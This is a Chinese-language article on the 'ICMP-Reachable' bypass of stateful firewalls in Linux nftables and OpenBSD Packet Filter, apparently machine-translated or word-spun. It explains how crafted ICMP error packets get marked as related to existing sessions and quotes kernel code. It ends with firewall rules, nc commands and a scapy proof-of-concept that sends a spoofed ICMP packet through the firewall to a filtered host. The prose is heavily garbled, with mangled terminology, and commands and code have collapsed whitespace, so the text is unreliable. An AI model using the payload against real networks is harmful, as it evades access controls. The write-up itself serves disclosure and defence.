ICMP和ICMPv6
ICMP和ICMPv6是Internet的具体协议书。这种协议书设计方案用来在数据包未抵达目的地时开展联接检测和不正确报文。接受ICMP消息让应用软件掌握常见故障缘故:数据包太大,沒有可以用路由器等。
ICMP消息
出自于差异的目地,ICMP [v6]消息由2个编号为2个字节数的值标志:他们的类型和编码。每一种类型都是有不一样的含意,例如,ICMP有下列消息:
- Echo回应和要求(类型1和8)
- 目的地没法抵达(类型3)
- Source quench(4型)
- 时间格式回应和要求(类型14和15)
当ICMPv6具备:
- 目的地没法抵达(类型1)
- 数据包太大(类型2)
- 超出時间(类型3)
- 主要参数问题(类型4)
- 无线路由器了解和通告(133和134型)
- 隔壁邻居了解和通告(135和136型)
- ….
以往已弃用各种各样消息类型,而别的消息类型仍在运用中。我们可以依据其目地大概将ICMP消息分成三类:
- 要求:他们由服务器转化成以查看一些信息内容;
- 回应:他们是以上ICMP要求的ICMP回应;
- 不正确:他们是由计算机设备或服务器在没法解决数据包时构建的。
文中主要详细介绍不正确消息。这一类型十分有意思,因为它的消息做为带外总流量推送,以回应另一个协议书的第4层通讯。
例如,UDP分类很有可能转化成ICMP不正确。这种不正确通常封装形式在ICMP合理负荷,IP报头再加上违反规定数据包的下一个64字节数内。图1表明了服务器B回绝封闭式端口号上的数据包的这种做法:
已经知道的进攻和对策
做为报文协议书,ICMP消息可以更改接受系统软件的IP栈的个人行为。例如,ICMP Redirect和ICMPv6 Router通告可以更改服务器的默认路由。
故意客户很有可能乱用ICMP来终断互联网实际操作。以往已纪录了与ICMP有关的多种进攻:
- ICMP开洞[1]是依靠ICMP消息解析xmlNAT的定义。它规定发动者在NAT后边;
- ICMP隧道施工[2]乱用ICMP协议书将随意数据信息封装形式在ICMP消息以上;
- ICMP ECHO变大[3]应用广播节目实行DoS;
- 根据进攻MTU发觉全过程或分类时延[4] [5] [6]报文可以缓减数据流量;
- ICMPv6 NDP进攻[7](类似IPv4全球中的ARP攻击);
- ICMPv6 MLD发觉 DoS [8](类似IGMP进攻)。
根据恰当配备电脑操作系统的IP局部变量,可以缓解大部分这种风险性。有意思的是,可以在没有应用电脑操作系统服务器防火墙作用的情形下开启各种各样ICMP维护(例如:sysctl,netsh,…)。
在Linux上应用sysctl的实例:
#sysctl-a-r'^net\.ipv[46]\.(icmp|conf\.default\.accept)'|cut-d=-f1net.ipv4.conf.default.accept_localnet.ipv4.conf.default.accept_redirectsnet.ipv4.conf.default.accept_source_routenet.ipv4.icmp_echo_ignore_allnet.ipv4.icmp_echo_ignore_broadcastsnet.ipv4.icmp_errors_use_inbound_ifaddrnet.ipv4.icmp_ignore_bogus_error_responsesnet.ipv4.icmp_msgs_burstnet.ipv4.icmp_msgs_per_secnet.ipv4.icmp_ratelimitnet.ipv4.icmp_ratemasknet.ipv6.conf.default.accept_dadnet.ipv6.conf.default.accept_ranet.ipv6.conf.default.accept_ra_defrtrnet.ipv6.conf.default.accept_ra_from_local...net.ipv6.conf.default.accept_redirectsnet.ipv6.conf.default.accept_source_routenet.ipv6.icmp.ratelimit
在理想化状况下,风险的ICMP消息应当被每一个服务器的IP局部变量阻拦,而不用服务器防火墙。事实上,安全性结构加固通常由WAN和受到限制LAN中间的服务器防火墙完成。这儿有一个问题:怎样过虑ICMP和ICMPv6?
怎样过虑ICMP?
1. RFC强烈推荐的內容
在过虑ICMP消息时,阻拦全部消息类型是不太可能的。它会减少总体客户体验。例如,阻拦“数据包太大”事实上可以彻底阻拦IPv6工作中,并也许比较严重减少IPv4的特性。
RFC4890 [10](2007)说在第4.3.1章中容许ICMPv6不正确消息。不可丢掉的总流量:
对创建和基本建设尤为重要的不正确消息
通信维护保养:
- 目的地没法抵达(类型1) – 全部编码
- 数据包太大(类型2)
- 超出時间(类型3) – 仅编码0
- 主要参数问题(类型4) – 仅编码1和2
(到期)议案“过虑ICMP消息的提议”[9](2013)给予了2个表,汇总了当机器设备当做网关ip或服务器防火墙时要接纳,限制网速或回绝什么ICMP和ICMPv6消息。议案提议容许(接纳或限定)下列消息:
- ICMPv4-unreach-(net|host|frag-needed|admin);
- ICMPv4-timed-(ttl|reass);
- 的ICMPv6-unreach-(no-route|admin-prohibited|addr|port|reject-route);
- ICMPv6的太大;
- 的ICMPv6-timed-(hop-limit|reass);
- ICMPv6的主要参数 – UNREC选择项;
- ICMPv6-ERR-扩张。
好像大家对什么叫安全的ICMP总流量有不一样的观点。通常觉得服务器防火墙应当阻拦来源于WAN的全部入站ICMP和ICMPv6数据包(NDP以外),除非是他们与给定的目前联接有关,可以根据情况服务器防火墙开展追踪。
2. 服务器防火墙情况和有关总流量
实际上,情况服务器防火墙完成了有关数据包的定义。这种有关数据包是与额外到目前联接的带外总流量配对的数据包。在有关定义被用以与ICMP并且还与其它协议书,例如FTP,其可以应用輔助TCP流。
有关ICMP,带内和带外总流量中间的关系是根据从封装形式在ICMP不正确消息中的IP分类中获取“情况标志符”来进行的。假如联接已经知道,则此标志符用以在表格中搜索。
为了更好地表明这一定义,使我们考虑到下列实例。在一个简便的互联网中,大家期待只容许LAN上的服务器根据端口号1234上的UDP与WAN上的一切服务器联络。但人们依然期待A接受带外不正确。在这样的情况下,将应用下列高級防火墙配置:
- 容许从LAN到WAN udp端口1234的键入;
- 假如数据包与目前的容许联接有关,则容许从WAN到LAN的键入;
- 阻拦全部。
传来的带内UDP总流量将配对标准:
- 进到的带外ICMP不正确消息将配对标准;
- 如下图2所显示,而且一切别的数据包将被标准3回绝。
事实上,防火墙配置的词义不一样,而且标准2在一些完成中可能是暗含的。
3. 什么叫联接情况?
到现在为止,我们知道情况服务器防火墙从ICMP(或ICMPv6)不正确中推测情况。但余下的问题是,什么信息内容事实上是以内部结构IP数据包中提炼的?
因为第4层协议书具备不一样的词义,每一个协议书都是有自身的获取器,但我们在包过滤装置和nftables化合物中留意到以下几点:
针对TCP,下列字段名用以结构情况:
- 内部结构IP源和目的地;
- 内部源和总体目标端口号;
- SEQ和ACK字段名仅用以包过滤装置,但不用以nftables。
针对UDP,下列字段名用以构造状态:
- 内部结构IP源和目的地;
- 内部源和总体目标端口号。
针对ICMP,下列字段用以结构状态:
- 内部结构IP源和目的地;
- 各种各样ICMP字段在于种类。
针对别的协议:
- 内部结构IP源和目的地;
- 协议的id;
- 假如防火墙适用他们,则将应用协议给予的属性(例如:SCTP或UDP-Lite端口号)(nftables可以,Packet Filter不可以)。
4. 迅速总结一下
总得来说,当防火墙接到带外ICMP不正确时,它会实行下列实际操作:
1.编解码IP / ICMP或IPv6 / ICMPv6标头;
2.从封装形式的IP或IPv6数据中获取状态;
3.试着配对目前状态目录中的“状态标志符”;
4.假如内部结构IP数据状态与目前状态配对,则将数据标识为 有关。
ICMP-可达
1. 问题
大家发觉,当获取内部结构数据以寻找状态时,与外界数据的关联性将遗失。这代表着,只需封装形式的数据可以与目前联接有关,全部数据便会被标识为有关。随后,在大部分情形下容许该数据根据。
应用故意制做的ICMP [v6]数据可以乱用此个人行为,该数据以筛选的服务器为总体目标,与此同时封装形式合乎合理合法状态的数据,如下所示所显示:
ICMP-Reachablepacket:[IPsrc=@Mdst=@Htype=ICMP][ICMPtype=@Typecode=@Code][IPsrc=@Bdst=@A][UDPsport=@Pbdport=Pa]M:theattackerIPH:thedestinationIPonwhichICMPshouldbefilteredA:hostIPfromwhichtheattackerknowsanexistingsessionwithBB:hostIPfromwhichtheattackerknowsanexistingsessionwithAPa:theportusedbyAitsUDPsessionwithBPb:theportusedbyBitsUDPsessionwithAType:theICMPtypeofanout-of-banderrorpacket(example3)Code:theICMPcodeofanout-of-banderrorpacket(example3)
在这样的情况下,将容许故意ICMP [v6]数据根据。nftables和Packet Filter完成都受此个人行为的危害。
下面的章节目录将详细介绍Linux和OpenBSD的完成关键点,以掌握关联性遗失的部位。
2. NFTABLES执行和关键点
Linux在netfilter conntrack控制模块中达到了有关数据的定义。
它在netfilter/nf_conntrack_core.c中以函数公式nf_conntrack_in逐渐,该函数公式解决在主要参数skb中传送的每一个键入数据。在nf_conntrack_handle_icmp中解决第4层协议和ICMP和ICMPv6的获取。
unsignedintnf_conntrack_in(structsk_buff*skb,conststructnf_hook_state*state){//..l4proto=._nf_ct_l4proto_find(protonum);if(protonum==IPPROTO_ICMP||protonum==IPPROTO_ICMPV6){ret=nf_conntrack_handle_icmp(tmpl,skb,dataoff,protonum,state);if(ret<=0){ret=-ret;gotoout;}/*ICMP[v6]protocoltrackersmayassignoneconntrack.*/if(skb->_nfct)gotoout;}//...}
nf_conntrack_handle_icmp随后依据ICMP的版本号启用nf_conntrack_icmpv4_error()或nf_conntrack_icmpv6_error()。这种作用十分类似,因此使我们关心ICMP。
假如种类是下列种类之一,则nf_conntrack_icmpv4_error认证ICMP标头并启用icmp_error_message:ICMP_DEST_UNREACH,ICMP_PARAMETERPROB,ICMP_REDIRECT,ICMP_SOURCE_QUENCH,ICMP_TIME_EXCEEDED:
/*Smallandmodifiedversionoficmp_rcv*/intnf_conntrack_icmpv4_error(structnf_conn*tmpl,structsk_buff*skb,unsignedintdataoff,conststructnf_hook_state*state){conststructicmphdr*icmph;structicmphdr_ih;/*Notenoughheader?*/icmph=skb_header_pointer(skb,ip_hdrlen(skb),sizeof(_ih),&_ih);if(icmph==NULL){icmp_error_log(skb,state,"shortpacket");return-NF_ACCEPT;}//...if(icmph->type>NR_ICMP_TYPES){icmp_error_log(skb,state,"invalidicmptype");return-NF_ACCEPT;}/*Needtotrackicmperrormessage?*/if(icmph->type!=ICMP_DEST_UNREACH&&icmph->type!=ICMP_SOURCE_QUENCH&&icmph->type!=ICMP_TIME_EXCEEDED&&icmph->type!=ICMP_PARAMETERPROB&&icmph->type!=ICMP_REDIRECT)returnNF_ACCEPT;returnicmp_error_message(tmpl,skb,state);}
随后icmp_error_message承担获取和鉴别配对情况:
/*ReturnsconntrackifitdealtwithICMP,andfilledinskbfields*/staticinticmp_error_message(structnf_conn*tmpl,structsk_buff*skb,conststructnf_hook_state*state){//...WARN_ON(skb_nfct(skb));zone=nf_ct_zone_tmpl(tmpl,skb,&tmp);/*Aretheytalkingaboutoneofourconnections?*/if(!nf_ct_get_tuplepr(skb,skb_network_offset(skb) ip_hdrlen(skb) sizeof(structicmphdr),PF_INET,state->net,&origtuple)){pr_debug("icmp_error_message:failedtogettuple\n");return-NF_ACCEPT;}/*rcu_read_lock()edbynf_hook_thresh*/innerproto=._nf_ct_l4proto_find(origtuple.dst.protonum);/*Ordinarily,we'dexpecttheinvertedtupleproto,butit'sbeenpreservedinsidetheICMP.*/if(!nf_ct_invert_tuple(&innertuple,&origtuple,innerproto)){pr_debug("icmp_error_message:nomatch\n");return-NF_ACCEPT;}ctinfo=IP_CT_RELATED;h=nf_conntrack_find_get(state->net,zone,&innertuple);if(!h){pr_debug("icmp_error_message:nomatch\n");return-NF_ACCEPT;}if(NF_CT_DIRECTION(h)==IP_CT_DIR_REPLY)ctinfo =IP_CT_IS_REPLY;/*Updateskbtorefertothisconnection*/nf_ct_set(skb,nf_ct_tuplehash_to_ctrack(h),ctinfo);returnNF_ACCEPT;}
- 最先,应用nf_ct_zone_tmpl测算分类skb的互联网地区。nftables有互联网conntrack区域的概念。这种地区容许虚拟化技术联接追踪,便于在conntrack和NAT中解决具备同样真实身份的好几个联接。除非是有明晰的标准规定,不然全部数据都将进到0区(参照总体目标CT的指南页);
- 随后nf_ct_get_tuplepr用以从ICMP层内的IP数据报中获取ip联接情况 origtuple;
- nf_ct_invert_tuple实行情况的源/总体目标互换,因为它引入初始出站数据但服务器防火墙要想查验入站数据;
- nf_conntrack_find_get搜索与获取的情况配对的已经知道情况。这时大家见到表层IP层未被考虑到用以搜索情况;
- 假如寻找情况,则nf_ct_set标识具备有关情况(IP_CT_RELATED)的sbk数据。
针对ICMPv6,大家对种类低于128的最新消息有相似的完成。
3. 包过滤装置完成和关键点
在包过滤装置中,有关的定义事实上是隐藏的,而且在情况的理念下完成。包过虑的总体方案设计如下所示:
数据可以与情况密切相关吗?
- 如果是,则容许数据根据;
- 要不是,则依据过虑标准检测分类。假如配对标准容许数据根据,则有可能会建立情况。
全部逻辑性在/sys/net/pf.c中的函数公式pf_test中完成。下一个摘抄表明了ICMP的这类解决[v6](为了更好地清晰考虑,一部分代码已被剥离):
pf_test(sa_family_taf,intfwdir,structifnet*ifp,structmbuf**m0){//...switch(pd.virtual_proto){caseIPPROTO_ICMP:{//lookforaknownstateaction=pf_test_state_icmp(&pd,&s,&reason);s=pf_state_ref(s);if(action==PF_PASS||action==PF_AFRT){//ifavalidstateisfoundthepacketmightgothere//withoutbeingtestedagainstthefilteringrulesr=s->rule.ptr;a=s->anchor.ptr;pd.pflog|=s->log;}elseif(s==NULL){//ifnostateisfoundthepacketistestedaction=pf_test_rule(&pd,&r,&s,&a,&ruleset,&reason);s=pf_state_ref(s);}break;}caseIPPROTO_ICMPV6:{//lookforaknownstateaction=pf_test_state_icmp(&pd,&s,&reason);s=pf_state_ref(s);if(action==PF_PASS||action==PF_AFRT){//ifavalidstateisfoundthepacketmightgothere//withoutbeingtestedagainstthefilteringrulesr=s->rule.ptr;a=s->anchor.ptr;pd.pflog|=s->log;}elseif(s==NULL){//ifnostateisfoundthepacketistestedaction=pf_test_rule(&pd,&r,&s,&a,&ruleset,&reason);s=pf_state_ref(s);}break;}//...}
pf_test_state_icmp()是试着搜索此数据与已经知道联接中间相互关系的函数公式。它应用对pf_icmp_mapping()的启用来掌握数据是带内或是带外。在后一种情形下,获取内部结构IP分类以及第4层协议书以寻找情况。这在下列摘抄中表明:
intpf_test_state_icmp(structpf_pdesc*pd,structpf_state**state,u_short*reason){//...if(pf_icmp_mapping(pd,icmptype,&icmp_dir,&virtual_id,&virtual_type)==0){//<--1/**ICMPquery/replymessagenotrelatedtoaTCP/UDPpacket.*SearchforanICMPstate.*///...}else{//<--2/**ICMPerrormessageinresponsetoaTCP/UDPpacket.*ExtracttheinnerTCP/UDPheaderandsearchforthatstate.*/switch(pd->af){caseAF_INET://<--3if(!pf_pull_hdr(pd2.m,ipoff2,&h2,sizeof(h2),NULL,reason,pd2.af))){/*...*/}caseAF_INET6://<--4if(!pf_pull_hdr(pd2.m,ipoff2,&h2_6,sizeof(h2_6),NULL,reason,pd2.af)){/*...*/}//...switch(pd2.proto){caseIPPROTO_TCP:{structtcphdr*th=&pd2.hdr.tcp;//...if(!pf_pull_hdr(pd2.m,pd2.off,th,8,NULL,reason,pd2.af)){//<--5//...}key.af=pd2.af;//<--6key.proto=IPPROTO_TCP;key.rdomain=pd2.rdomain;PF_ACPY(&key.addr[pd2.sidx],pd2.src,key.af);PF_ACPY(&key.addr[pd2.didx],pd2.dst,key.af);key.port[pd2.sidx]=th->th_sport;key.port[pd2.didx]=th->th_dport;action=pf_find_state(&pd2,&key,state);//<--7if(action!=PF_MATCH)return(action);//...break;}caseIPPROTO_UDP:{structudphdr*uh=&pd2.hdr.udp;intaction;if(!pf_pull_hdr(pd2.m,pd2.off,uh,sizeof(*uh),NULL,reason,pd2.af)){//<--8//...}key.af=pd2.af;//<--9key.proto=IPPROTO_UDP;key.rdomain=pd2.rdomain;PF_ACPY(&key.addr[pd2.sidx],pd2.src,key.af);PF_ACPY(&key.addr[pd2.didx],pd2.dst,key.af);key.port[pd2.sidx]=uh->uh_sport;key.port[pd2.didx]=uh->uh_dport;action=pf_find_state(&pd2,&key,state);//<--10if(action!=PF_MATCH)return(action);break;}caseIPPROTO_ICMP:{//...break;}caseIPPROTO_ICMPV6:{//...break;}default:{//<--11intaction;key.af=pd2.af;key.proto=pd2.proto;key.rdomain=pd2.rdomain;PF_ACPY(&key.addr[pd2.sidx],pd2.src,key.af);PF_ACPY(&key.addr[pd2.didx],pd2.dst,key.af);key.port[0]=key.port[1]=0;action=pf_find_state(&pd2,&key,state);//...break;}}
pf_icmp_mapping()明确是不是应当获取内部结构数据。如果是,则执行。
这时仅对于下列数据执行:
1.IPv4上的ICMP_UNREACH;2.IPv4上的ICMP_SOURCEQUENCH;3.IPv4上的ICMP_REDIRECT;4.IPv4上的ICMP_TIMXCEED;5.IPv4上的ICMP_PARAMPROB;6.IPv6的ICMP6_DST_UNREACH;7.IPv6上的ICMP6_PACKET_TOO_BIG;8.IPv6上的ICMP6_TIME_EXCEEDED;9.IPv6上的ICMP6_PARAM_PROB。
- 3和4:依据版本号获取IP头;
- 5和8:提取UDP或TCP的文章标题;
- 6和9:复位搜索密匙,而不考虑到顶层IP分类;
- 7和10:实行情况搜索,假如发觉情况,则函数公式可以回到PF_PASS,容许数据根据。
4. poc
为了更好地演试进攻,大家将考虑到具备4个服务器,2个子网掩码,LAN和WAN及其正中间服务器防火墙的数据网络的简易状况。大家将应用Linux nftables和OpenBSD Packet Filter做为服务器防火墙来检测情景。vm虚拟机或真正vm虚拟机可用以设定自然环境。一定要注意,IP范畴或系列产品与问题不相干,仅有NAT可以危害可运用性,这将在下一部分中探讨。
免责协议2:大家被告之我们在试验中采用了真正意义上的IP作为前缀,最好是应用这些用以文本文档的作为前缀。
1.0.0.0/8下的WAN是一个不会受到信赖的互联网;
在2.0.0.0/24下的局域网络是一个受信赖的互联网,其浏览需要由服务器防火墙过虑;
- M,WAN上的网络攻击,IP 1.0.0.10;
- A,WAN上的服务器,IP 1.0.0.11;
- H,局域网络上的比较敏感网络服务器,IP 2.0.0.10;
- B,LAN上的服务器,IP 2.0.0.11;
- F,WAN与LAN中间的服务器防火墙,IP 1.0.0.2和2.0.0.2。
大家将考虑到端口号53和1234上从A到B创建的对话UDP。网络攻击应该了解这种对话主要参数,这不是后边探讨的强假定。
防火墙配置应当:
- 阻拦全部来源于WAN的ICMP到LAN;
- 容许ICMP从LAN到WAN;
- 允许A和B中间的UDP联接;
- 阻拦别的一切。
在这种标准下,大家预估网络攻击没法向H推送单独ICMP [v6]数据。
针对Linux试验,防火墙配置如下所示(应用指令nft还可以那样做):
#iptables-PINPUTDROP#iptables-PFORWARDDROP#iptables-POUTPUTDROP#iptables-AFORWARD-mstate--stateRELATED,ESTABLISHED-jACCEPT#iptables-AFORWARD-iif-wan-oif-lan-pudp--dport53-jACCEPT
针对OpenBSD试验,防火墙配置如下所示:
#em0isontheWAN#em1isontheLANblockall#explicitlyblockicmpfromtheWANtotheLANblockinonem0protoicmp#allowicmpfromthelantoboththeWANandLANpassinonem1inetprotoicmpfromem1:networkpassoutonem1inetprotoicmpfromem1:networkpassoutonem0inetprotoicmpfromem1:network#allowudptoBpassinonem0protoudptobport53passoutonem1protoudptobport53passinonem1protoudpfrombport53passoutonem0protoudpfrombport53
在B上仿真模拟UDP服务项目:
(B)$nc-n-u-l53
针对A,创建联接:
(A)$nc-u-n-p12342.0.0.1153TEST
我们可以查验从M到H的入站ICMP是不是被过虑:
(M)$ping-c12.0.0.10-W2PING2.0.0.10(2.0.0.10)56(84)bytesofdata.---2.0.0.10pingstatistics---1packetstransmitted,0received,100%packetloss,time0ms
如今人们将应用下列应用精彩纷呈scapy库的python脚本制作:
fromscapy.allimport*M="1.0.0.10"#attackerH="2.0.0.10"#protectedserverA="1.0.0.11"B="2.0.0.11"Pa=1234Pb=53icmp_reachable=IP(src=M,dst=H)/\ICMP(type=3,code=3)/\IP(src=B,dst=A)/\UDP(sport=Pb,dport=Pa)send(icmp_reachable)
在Linux和OpenBSD状况下,互联网捕获表明ICMP数据由服务器防火墙分享到H并从一个插口传送到另一个插口。
Wireshark捕获表明第二个ICMP信息从一个插口转至另一个插口。因而,无论过虑标准怎样,网络攻击都可以将数据发送至一切正常过虑的服务器H。